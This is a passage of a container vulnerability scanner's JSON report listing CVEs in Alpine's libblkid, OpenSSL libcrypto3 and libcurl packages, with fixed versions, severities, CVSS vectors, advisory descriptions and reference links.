"https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "libblkid@2.42.1-r0", "PkgName": "libblkid", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libblkid@2.42.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "6043f81dec59c867" }, "InstalledVersion": "2.42.1-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:dd1cbe792cd8be0cd44c405bb5b2dac642b92a2dd29d212315224935c4a2fc2e", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "libblkid@2.42.1-r0", "PkgName": "libblkid", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libblkid@2.42.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "6043f81dec59c867" }, "InstalledVersion": "2.42.1-r0", "FixedVersion": "2.42.3-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:56966e2ad30fdab7c51a0ea91b132984dffc91a89d389bb360d017aec0cd9ffc", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "libblkid@2.42.1-r0", "PkgName": "libblkid", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libblkid@2.42.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "6043f81dec59c867" }, "InstalledVersion": "2.42.1-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:a1d15c8d1f9507e2719d5f79b07644f02bc47dd34ccc9c414a89549fbfb6a5d9", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "libblkid@2.42.1-r0", "PkgName": "libblkid", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libblkid@2.42.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "6043f81dec59c867" }, "InstalledVersion": "2.42.1-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:430f62a50aad0a8eb6b4c0d58a6fd08a4f276f446143bf6a5a95543da736fd60", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-14456", "PkgID": "libcrypto3@3.5.7-r0", "PkgName": "libcrypto3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcrypto3@3.5.7-r0?arch=x86_64\u0026distro=3.24.1", "UID": "9ce2cdb3f0bf014b" }, "InstalledVersion": "3.5.7-r0", "FixedVersion": "3.5.8-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14456", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:cd2502a94f1b330b62aa9f766f88863fb20cbbdcda4a9d8eaf9964712edfc57e", "Title": "openssl: OpenSSL: Denial of Service via unbounded memory growth in QUIC server", "Description": "Issue summary: When an OpenSSL QUIC server (Listener SSL object) processes\nvalid QUIC Initial packets for unknown destination connection IDs, it\ncan allocate and queue new incoming channels without enforcing any limit.\n\nImpact summary: A remote peer that can make many Initial packets reach the\nserver listener faster than the application accepts connections, can cause the\nmemory allocated to store the per-channel state to grow without any limits,\npotentially making the QUIC listener unavailable and causing Denial of Service.\n\nCWE: CWE-770: Allocation of Resources Without Limits or Throttling\n\nDescription: The function that handles inbound QUIC packets uses\nConnection-Id from the packet header to find an existing connection\n(QUIC channel). If no existing connection is found and the packet\ntype is INITIAL, the function treats the packet as a new connection. It\nallocates a new channel object and inserts it into a queue where it\nwaits to be accepted by the local application with SSL_accept(3ossl).\nThe memory occupied by these initial channel objects may grow\nwithout bounds if the application is not able to call SSL_accept()\nfrequently enough to serve these inbound connection requests.\n\nThe issue is present since OpenSSL 3.5 when the QUIC server implementation\nwas added.\n\nThe fix introduces a limit for pending connections. The default limit is set\nto 256 pending connections (waiting to be accepted by the local application).\nApplications may change the default by calling SSL_set_value_uint(3ossl).\n\nFIPS impact: no\nThe FIPS module is not affected as the QUIC implementation is outside of\nthe OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/08/13/4", "https://access.redhat.com/errata/RHSA-2026:67165", "https://access.redhat.com/security/cve/CVE-2026-14456", "https://bugzilla.redhat.com/2515348", "https://bugzilla.redhat.com/2517559", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2517561", "https://bugzilla.redhat.com/2517562", "https://bugzilla.redhat.com/2517564", "https://bugzilla.redhat.com/2517565", "https://bugzilla.redhat.com/2517566", "https://bugzilla.redhat.com/2517570", "https://bugzilla.redhat.com/show_bug.cgi?id=2515348", "https://bugzilla.redhat.com/show_bug.cgi?id=2517559", "https://bugzilla.redhat.com/show_bug.cgi?id=2517560", "https://bugzilla.redhat.com/show_bug.cgi?id=2517561", "https://bugzilla.redhat.com/show_bug.cgi?id=2517562", "https://bugzilla.redhat.com/show_bug.cgi?id=2517564", "https://bugzilla.redhat.com/show_bug.cgi?id=2517565", "https://bugzilla.redhat.com/show_bug.cgi?id=2517566", "https://bugzilla.redhat.com/show_bug.cgi?id=2517570", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14457", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18798", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54874", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63074", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63076", "https://errata.almalinux.org/9/ALSA-2026-67165.html", "https://errata.rockylinux.org/RLSA-2026:67165", "https://github.com/openssl/openssl/commit/08e7756c3900bcfd77a720e7b74e27d6e4ed01a9", "https://github.com/openssl/openssl/commit/4084152e040329ca0194c4c1750b9b46d00a5b6b", "https://github.com/openssl/openssl/commit/f2f1465f2d2e5c61dfeac4d20fd093797d821139", "https://linux.oracle.com/cve/CVE-2026-14456.html", "https://linux.oracle.com/errata/ELSA-2026-67165-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14456", "https://openssl-library.org/news/secadv/20260813.txt", "https://ubuntu.com/security/notices/USN-8678-1", "https://www.cve.org/CVERecord?id=CVE-2026-14456" ], "PublishedDate": "2026-08-13T15:19:31.82Z", "LastModifiedDate": "2026-11-06T20:26:36.04Z" }, { "VulnerabilityID": "CVE-2026-11352", "PkgID": "libcurl@8.20.0-r1", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "59b9580380420dad" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.21.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11352", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:3d3ea88d545ca08871a88cf65ea73df5e71f6d3e12475cf6f421032af9603813", "Title": "curl: libcurl: curl/libcurl: Remote denial of service via QUIC UDP receive function vulnerability", "Description": "An issue in curl’s QUIC UDP receive function allows a malicious HTTP/3 server\nto trigger a remote denial of service against a curl or libcurl client.\nBecause the helper function discards zero-length UDP datagrams before counting\nthem toward the per-call packet budget, a connected QUIC peer can continuously\nstream empty datagrams to indefinitely stall the client.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "julia": 3, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-11352", "https://curl.se/L7HzKXisfJ/CVE-2026-11352.md", "https://curl.se/docs/CVE-2026-11352.html", "https://curl.se/docs/CVE-2026-11352.json", "https://github.com/advisories/GHSA-qxwx-hr5v-h5q4", "https://hackerone.com/reports/3783438", "https://nvd.nist.gov/vuln/detail/CVE-2026-11352", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-11352" ], "PublishedDate": "2026-07-03T07:16:23.693Z", "LastModifiedDate": "2026-09-15T07:16:25.353Z" }, { "VulnerabilityID": "CVE-2026-11586", "PkgID": "libcurl@8.20.0-r1", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "59b9580380420dad" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.21.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11586", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:0ba49ea6554dc2664e93ae7e0e99b1cb06b9641309bc66f4afc4eacfd561da5d", "Title": "curl: curl: Denial of Service via WebSocket PING flood", "Description": "By default, curl automatically responds to WebSocket PING frames. Because curl\nlacks an upper bound on memory allocation for unacknowledged frames, a\nmalicious server can exhaust all available memory by flooding curl with rapid,\nsequential PING messages.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "amazon": 2, "julia": 3, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-11586", "https://curl.se/L7HzKXisfJ/CVE-2026-11586.md", "https://curl.se/docs/CVE-2026-11586.html", "https://curl.se/docs/CVE-2026-11586.json", "https://github.com/advisories/GHSA-c68q-h477-5646", "https://hackerone.com/reports/3788931", "https://nvd.nist.gov/vuln/detail/CVE-2026-11586", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-11586" ], "PublishedDate": "2026-07-03T07:16:23.883Z", "LastModifiedDate": "2026-09-15T07:16:25.7Z" }, { "VulnerabilityID": "CVE-2026-12064", "PkgID": "libcurl@8.20.0-r1", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "59b9580380420dad" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.21.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-12064", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:2057731b8f4a88e974dfa7605d4e0414382f60f034d2f3f791cdd4b7cfdf5415", "Title": "curl: curl: SSH host verification bypass when using schemeless URLs with SFTP/SCP", "Description": "When a user invokes curl using a schemeless URL combined with\n`--proto-default` sftp (or scp), a disconnect occurs between the tool layer\nand libcurl. The tool layer incorrectly infers the URL scheme, which\nerroneously bypasses the initialization of critical SSH security options like\nCURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 and CURLOPT_SSH_KNOWNHOSTS. Conversely, the\nlibcurl runtime successfully honors CURLOPT_DEFAULT_PROTOCOL and establishes\nthe connection via SFTP/SCP as specified. Because the tool layer skipped the\nsecurity configuration, these SSH host verification options are silently\nomitted, causing curl to connect to an unverified SSH remote host without\nthrowing an error.", "Severity": "HIGH", "CweIDs": [ "CWE-297", "CWE-295" ], "VendorSeverity": { "amazon": 2, "azure": 3, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-12064", "https://curl.se/L7HzKXisfJ/CVE-2026-12064.md", "https://curl.se/docs/CVE-2026-12064.html", "https://curl.se/docs/CVE-2026-12064.json", "https://github.com/advisories/GHSA-jm94-9f7h-36pr", "https://hackerone.com/reports/3797526", "https://linux.oracle.com/cve/CVE-2026-12064.html", "https://linux.oracle.com/errata/ELSA-2026-55450.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-12064", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-12064" ], "PublishedDate": "2026-07-03T07:16:24.217Z", "LastModifiedDate": "2026-09-15T07:16:26.15Z" }, { "VulnerabilityID": "CVE-2026-8286", "PkgID": "libcurl@8.20.0-r1", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "59b9580380420dad" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.21.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8286", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:bca9aea9e20004c4c077935fc4bb29ba7a6a82c71c4b6c7ede3c282abd72b2bc", "Title": "curl: curl: Insecure connection establishment due to TLS configuration mismatch", "Description": "A vulnerability exists where a new transfer that uses STARTTLS to upgrade the\nconnection might reuse an existing live connection even though the TLS\nconfiguration mismatches so it should not.", "Severity": "HIGH", "CweIDs": [ "CWE-295" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "julia": 3, "oracle-oval": 3, 